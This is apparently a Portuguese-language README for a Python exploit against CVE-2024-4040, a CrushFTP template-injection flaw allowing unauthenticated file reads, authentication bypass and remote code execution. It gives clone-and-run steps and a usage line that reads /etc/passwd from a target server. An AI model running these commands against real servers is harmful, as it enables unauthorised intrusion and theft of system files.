
Uma vulnerabilidade de injeção de template no lado do servidor no CrushFTP em todas as versões anteriores a 10.7.1 e 11.1.0 em todas as plataformas permite que atacantes remotos não autenticados leiam arquivos do sistema de arquivos fora do VFS Sandbox, ignorem a autenticação para obter acesso administrativo e executem código remotamente no servidor.
Exploit em Python para CVE-2024-4040
Uma vulnerabilidade de injeção de template no lado do servidor no CrushFTP em todas as versões anteriores a 10.7.1 e 11.1.0 em todas as plataformas permite que atacantes remotos não autenticados leiam arquivos do sistema de arquivos fora da Sandbox VFS, contornem a autenticação para obter acesso administrativo e executem código remotamente no servidor.
-h --help Show this screen.
-t --target Specify target URL
-f --file Specify file to include
Only test if vulnerable: exploit.py -t http://10.10.1.23:8080
Include /etc/passwd: exploit.py -t http://10.10.1.23:8080 -f /etc/passwd
git clone https://github.com/1ncendium/CVE-2024-4040.git
cd CVE-2024-4040
python3 exploit.py -t http://target:8080